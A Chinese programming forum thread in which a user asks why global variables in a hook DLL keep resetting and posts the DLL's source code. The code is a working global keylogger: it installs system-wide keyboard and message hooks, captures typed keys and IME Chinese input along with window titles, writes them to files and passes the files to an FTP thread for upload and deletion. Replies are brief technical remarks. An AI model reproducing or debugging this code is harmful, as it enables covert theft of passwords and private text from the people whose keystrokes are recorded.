我写了一个钩子的动态库,里面有一些全局变量,钩子每次执行的时候,这些全局变量就会全部初始化一次。之前的值都会被清空,这是为什么

解决方案 »

  1.   

    公司不能上GOOGLE百度都不能,只能上有限的几个网站
      

  2.   

    DLL的全局变量,在一个进程中的内存中只有一份拷贝。
      

  3.   

    #pragma data_seg(".data")
     extern HHOOK KBhookCn;  //钩子句柄
     extern HHOOK KBhookEn;
     extern HINSTANCE hdll_lib;
     extern HWND g_hLastFocus;
     static bool isKeydown=false; //键盘是否按下标志,用来避免输入法消息多次被截获,造成记录重复问题
     
     const int MAX_INFO_SIZE = 256; //字符串最大长度
     unsigned nKeyRecordThreadID; //键盘记录线程ID
     HANDLE hStartEvent; // thread start event
     HANDLE hKeyRecordThread; //键盘记录线程句柄
     unsigned nFTPthreadID; //
     HANDLE hFTPThread; //
     CFTP ftp; //FTP对象
     //CLogFile logFile; //FILE* out; //文件指针
     //CString filePath="c:\\";
     //CString logFileName;//保存文件名 
     CString FullRecorderFileName = ""; CRITICAL_SECTION csFilename; FILE_NAME_QUEUE FileQueue; 
     CRITICAL_SECTION QueueCriticalSection;
     //事件句柄,用于通知FTP上传的
     HANDLE FtpEvent;
     #pragma data_seg() 
     #pragma comment(linker,"/Section:.inidata,RWS")
    这个是DLL中的全局变量,钩子的句柄和DLL句柄我直接放到了DLLMAIN.CPP里面,也是用了共享节写的。
    现在的问题就是里面的FullRecorderFileName这个参数没切换一个窗口这个值就重新初始化一次。
    搞的我现在很是郁闷
      

  4.   

     //函数声明
     extern "C" __declspec(dllexport) void SetKBHookCn(void);
     extern "C" __declspec(dllexport) void RemoveKBHook(void);
     LRESULT CALLBACK KBhookCn_deal(int nCode,WPARAM wParam,LPARAM lParam);//支持中文的键盘钩子回调函数
     LRESULT CALLBACK KBhook_deal(int nCode,WPARAM wParam,LPARAM lParam);
     static unsigned __stdcall RecordCnKey(void *param);
    // void IniEnvirenment();
    // void endDLL();
     unsigned __stdcall FTPAndDelete(void *param);
     void CreateRecordFileName();//生成文件名
     void WriteStr(const CString strData);//写入到文件 /*---------------------------键盘钩子设置函数[支持中文]-----------------------------------*/
    extern "C" __declspec(dllexport) void SetKBHookCn(void)
    {
    if(KBhookCn==NULL)
    {
    KBhookCn = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)KBhookCn_deal,hdll_lib,0);//设置全局钩子
    }
    if(KBhookEn==NULL)
    {
    KBhookEn = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KBhook_deal,hdll_lib,0);//设置全局钩子
    } }/*---------------------------键盘钩子卸载函数-----------------------------------*/
    extern "C" __declspec(dllexport) void RemoveKBHook(void)
    {
    if(KBhookCn)
    {
    UnhookWindowsHookEx(KBhookCn); //卸载钩子
    }
    if(KBhookEn)
    {
    UnhookWindowsHookEx(KBhookEn); //卸载钩子
    }
    }//消息结构体,记录截获到的中文信息及当前窗口句柄
    typedef struct _recordInfo
    {
    char lpstr[MAX_INFO_SIZE]; //获取中文输入信息
    //char svTitle[MAX_INFO_SIZE]; 
    HWND hFocus; //当前窗口句柄
    } RecordInfo,*PRecordInfo;这个是下面的代码。
      

  5.   


    LRESULT CALLBACK KBhook_deal(int nCode,WPARAM wParam,LPARAM lParam)
    {
    LRESULT lResult = CallNextHookEx(KBhookEn,nCode,wParam,lParam);
    isKeydown=true;
    return 0;
    }//键盘钩子回调函数定义
    LRESULT CALLBACK KBhookCn_deal(int nCode,WPARAM wParam,LPARAM lParam)
    {
    HIMC hIMC;
    HWND hWnd;
    /*char *pCNString;*/
    LRESULT lResult = CallNextHookEx(KBhookCn, nCode, wParam, lParam);
    PMSG pmsg = (PMSG)lParam;
    hWnd=pmsg->hwnd;

    if(nCode != HC_ACTION) return 0;
    /* this code from ZWELL 获得输入法处理后的字符串 */
    if(pmsg->message==WM_IME_COMPOSITION)
    {
    if(isKeydown)
    {
    DWORD dwSize;
    //char* lpstr=new char[MAX_INFO_SIZE];//动态申请存储中文字符的空间
    PRecordInfo pRecordInfo=new RecordInfo;

    // MessageBox(NULL,"","",MB_OKCANCEL);
    if(pmsg->lParam & GCS_RESULTSTR)
    {

    // MessageBox(NULL,"1","1",MB_OKCANCEL);
    //先获取当前正在输入的窗口的输入法句柄
    hIMC = ImmGetContext(hWnd);
    if(!hIMC)  return 0;
    // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
    // 缓冲区大小要加上字符串的NULL结束符大小,
    // 考虑到UNICODE
    dwSize += sizeof(WCHAR);
    memset(pRecordInfo->lpstr, 0, sizeof(pRecordInfo->lpstr));
    // 再调用一次.ImmGetCompositionString获取字符串
    ImmGetCompositionString(hIMC, GCS_RESULTSTR, pRecordInfo->lpstr, dwSize);
    //现在lpstr里面即是输入的汉字了。可以处理lpstr,当然也可以保存为文件...
    //获取当前窗口句柄
    //MessageBox(NULL,pRecordInfo->lpstr,pRecordInfo->lpstr,MB_OKCANCEL);
    HWND hFocus=GetActiveWindow();
    pRecordInfo->hFocus=hFocus;
    //pRecordInfo->svTitle=svTitle;
    if(!PostThreadMessage(nKeyRecordThreadID,WM_KEYHOOK_CN,(WPARAM)pRecordInfo,0))//post thread msg
    {
    //PostThreadMessage(nKeyRecordThreadID,MY_MSG,(WPARAM)pRecordInfo,0);
    delete[] pRecordInfo;
    }
    ImmReleaseContext(hWnd, hIMC);
    isKeydown = false;
    // MessageBox(NULL,FullRecorderFileName,"WM_IME_COMPOSITION",0);
    }
    }
    }
    /* code from ZWELL end */
    if(pmsg->message==WM_CHAR||pmsg->message==WM_KEYDOWN)
    {
    if(isKeydown)
    {
    if(pmsg->message==WM_KEYDOWN){
    unsigned char ch=(unsigned char)(pmsg->wParam);
    if((ch>=0x21&&ch<=0x28)||(ch>=0x70&&ch<=0x7b)||ch==0x2d||ch==0x2e||ch==0x5b);
    else return 0;
    }
    // WM_CHAR对应可显示字符键的消息,WM_KEYDOWN对应控制键消息 if(ImmIsIME(GetKeyboardLayout(0))){                       //判断中文输入法
    if((unsigned char)(pmsg->wParam)>0x7F){
    //MessageBox(NULL,"quit","char",MB_OK);
    return 0;
    }
    }
    /*strncpy(pCNString,(char *)&(pmsg->wParam),1);*/ lParam=pmsg->lParam;//扫描吗
    wParam=pmsg->wParam;//虚拟码
    //char str[20]={0};
    PRecordInfo pRecordInfo=new RecordInfo;
    sprintf(pRecordInfo->lpstr,"%c",(unsigned char)pmsg->wParam); //获取当前窗口焦点
    HWND hFocus=GetActiveWindow();
    pRecordInfo->hFocus=hFocus;
    //while(!PostThreadMessage(nKeyRecordThreadID,WM_KEYHOOK_CN,(WPARAM)pRecordInfo,0));
    if(!PostThreadMessage(nKeyRecordThreadID,WM_KEYHOOK_CN,(WPARAM)pRecordInfo,0))//post thread msg
    {
    delete[] pRecordInfo;
    }
    isKeydown=false;
    // MessageBox(NULL,FullRecorderFileName,"WM_CHAR",0);
    }
    }  
    return lResult;
    }//负责启动系统所需线程,并进行DLL中初始化方面的工作
    void IniEnvirenment()
    {
    hKeyRecordThread = (HANDLE)_beginthreadex( NULL, 0, &RecordCnKey, &FullRecorderFileName, 0, &nKeyRecordThreadID ); if(hKeyRecordThread == 0)
    {
    CloseHandle(hStartEvent);
    return ;
    }
    hFTPThread = (HANDLE) _beginthreadex(NULL,0,&FTPAndDelete,NULL,0,&nFTPthreadID);
    InitializeCriticalSection(&csFilename);//QueueCriticalSection
    InitializeCriticalSection(&QueueCriticalSection);
    //创建FTP事件句柄
    FtpEvent = CreateEvent(NULL,true,false,NULL);
    if (!AfxSocketInit())
    {
    //AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
    return;
    }

    //TRACE(filename);
    //CRecorder::GetRecorder();
    }static unsigned __stdcall RecordCnKey(void *param)
    {
    MSG msg;
    PeekMessage(&msg, NULL, WM_KEYHOOK_CN, WM_KEYHOOK_CN, PM_NOREMOVE);
    while(true)
    {
    if(GetMessage(&msg,0,0,0)) //get msg from message queue
    {
    switch(msg.message)
    {
    case WM_KEYHOOK_CN:
    PRecordInfo pInfo = (PRecordInfo)msg.wParam;
    //此处判断若窗口已改变,则将上一窗口记录的文件名发送到FTP线程,由FTP线程负责上传及删除,
    //发送完毕后,此处重新生成新窗口的记录文件名,将窗口名称及记录 信息写入到新窗口文件中。
    //若窗口未改变,则直接在原窗口文件后面追加记录信息
    if(g_hLastFocus!=pInfo->hFocus)
    {
    MessageBox(0,FullRecorderFileName,"100",0);
    if(!FullRecorderFileName.IsEmpty())
    {
    MessageBox(0,FullRecorderFileName,"111",0);
    char * tmpFilename =new char[MAX_PATH];
    memset(tmpFilename,0,MAX_PATH);
    memcpy(tmpFilename,FullRecorderFileName,FullRecorderFileName.GetLength());

    if(!PostThreadMessage(nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0))//post thread msg
    {
    PostThreadMessage(nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0);
    }
    } //if(!FileQueue.empty())
    //{
    // SetEvent(FtpEvent);
    //}
    //else
    //{
    // MessageBox(NULL,"队列为空","111",0);
    //} CreateRecordFileName(); char svTitle[256]; 
    int nCount; 
    nCount=GetWindowText(pInfo->hFocus,svTitle,256); 
    if(nCount>0)

    CString tmpstr;
    tmpstr.Format("[%s]\r\n",svTitle);
    WriteStr(tmpstr);

    g_hLastFocus=pInfo->hFocus; 
    }
    WriteStr(pInfo->lpstr);
    delete pInfo;
    break;
    }
    }
    }
    return 0;
    }